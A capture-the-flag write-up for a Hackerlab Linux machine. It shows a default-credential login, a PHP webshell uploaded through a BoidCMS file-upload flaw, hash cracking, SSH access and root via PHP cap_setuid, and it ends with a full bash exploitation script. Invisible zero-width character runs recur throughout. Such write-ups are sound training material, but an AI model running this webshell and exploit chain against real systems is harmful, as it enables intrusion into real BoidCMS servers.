Ламер (Lamer)

Platform: hackerlab.pro | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Default credentials exploitation, BoidCMS CVE-2023-38836 file upload bypass, MD5 hash cracking via online lookup, Linux capabilities privilege escalation (cap_setuid on PHP)

Summary

Connections: - HTTP: 62.173.140.174:28995 - SSH: 62.173.140.174:28997

Ламер (Lamer) — Hackerlab

Description

"Порой люди всё усложняют. Поэтому будьте проще" (Sometimes people overcomplicate things. Be simpler)

Connections:

• HTTP: 62.173.140.174:28995
• SSH: 62.173.140.174:28997

Analysis

The task is a pentest machine with a web service and SSH access. The hint "be simpler" suggests using simple/default approaches.

Stage 1: Web Reconnaissance

While analyzing the main page, an HTML comment was found pointing to a backup directory:

 html read-only • copy allowed Copy
<!-- backup in /bak/ -->

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In the /bak/ directory, BoidCMS v2.0.0 was discovered with an admin panel at /bak/admin.

Stage 2: Default Credentials

Following the "be simpler" hint, we try default credentials:

admin:password

Successful login to the BoidCMS admin panel!

Stage 3: CVE-2023-38836 - File Upload RCE

BoidCMS v2.0.0 is vulnerable to arbitrary file upload (CVE-2023-38836). Standard .php extensions are blocked, but .phtml passes the filter.

Creating a webshell with GIF header to bypass file type validation: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 php read-only • copy allowed Copy
GIF89a<?php system($_GET['cmd']); ?>

Upload as shell.phtml via the media manager. The webshell is accessible at:

/bak/media/shell.phtml?cmd=id

We get RCE as www-data.

Stage 4: Database Discovery & Hash Cracking

Exploring the filesystem, we find an SQLite database:

 bash read-only • copy allowed Copy
/bak/media/shell.phtml?cmd=find / -name "*.db" 2>/dev/null

Database: /opt/bak.db

Extracting hashes via Python on the server:

 python read-only • copy allowed Copy
import sqlite3
conn = sqlite3.connect('/opt/bak.db')
cursor = conn.cursor()
cursor.execute("SELECT * FROM users")
print(cursor.fetchall())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Found MD5 hashes:

• lammer: 563054dff34c8bc488aabe6d5f04d30c
• root: e5bbf789e22e5aed5178117f41af355c

The lammer user hash was cracked via an online service (nitrxgen.net):

563054dff34c8bc488aabe6d5f04d30c → newyork1

Stage 5: SSH Access & First Flag

Connecting via SSH:

 bash read-only • copy allowed Copy
ssh lammer@62.173.140.174 -p 28997
# Password: newyork1

First part of the flag:

 bash read-only • copy allowed Copy
cat /home/lammer/first_part
# CODEBY{REDACTED

Stage 6: Privilege Escalation via Linux Capabilities

Checking capabilities on the system: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
getcap -r / 2>/dev/null

A dangerous capability was found:

/usr/bin/php8.1 cap_setuid=ep

cap_setuid=ep allows a process to change its UID. PHP with this capability can escalate privileges to root.

Solution

Privilege Escalation Payload

 bash read-only • copy allowed Copy
/usr/bin/php8.1 -r 'posix_setuid(0); system("cat /root/last_part");'

Second part of the flag:

REDACTED}

Full Flag

CODEBY{REDACTED}

Full Exploitation Script

 bash read-only • copy allowed Copy
#!/bin/bash

TARGET_HTTP="62.173.140.174:28995"
TARGET_SSH="62.173.140.174"
SSH_PORT="28997"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Login to BoidCMS with default creds
echo "[*] Logging into BoidCMS admin panel..."
curl -s -c cookies.txt -b cookies.txt \
    "http://$TARGET_HTTP/bak/admin" \
    -d "username=admin&password=password"

# Step 2: Upload webshell
echo "[*] Uploading webshell..."
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.phtml
curl -s -b cookies.txt \
    "http://$TARGET_HTTP/bak/admin/media" \
    -F "file=@shell.phtml"

# Step 3: Test RCE
echo "[*] Testing RCE..."
curl -s "http://$TARGET_HTTP/bak/media/shell.phtml?cmd=id"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 4: Extract database hashes
echo "[*] Extracting hashes from database..."
curl -s "http://$TARGET_HTTP/bak/media/shell.phtml?cmd=python3+-c+'import+sqlite3;c=sqlite3.connect(\"/opt/bak.db\");print(c.execute(\"SELECT+*+FROM+users\").fetchall())'"

# Step 5: SSH with cracked password
echo "[*] Connecting via SSH..."
sshpass -p 'newyork1' ssh -o StrictHostKeyChecking=no \
    lammer@$TARGET_SSH -p $SSH_PORT \
    'cat /home/lammer/first_part; /usr/bin/php8.1 -r "posix_setuid(0); system(\"cat /root/last_part\");"'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons Learned

1. Always try default credentials first — the "be simpler" hint directly pointed to this
2. Check for Linux capabilities — getcap -r / should be in the standard privesc checklist
3. PHP with cap_setuid = instant root — posix_setuid(0) + system() = full control
4. BoidCMS v2.0.0 is vulnerable — CVE-2023-38836 allows uploading .phtml files ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍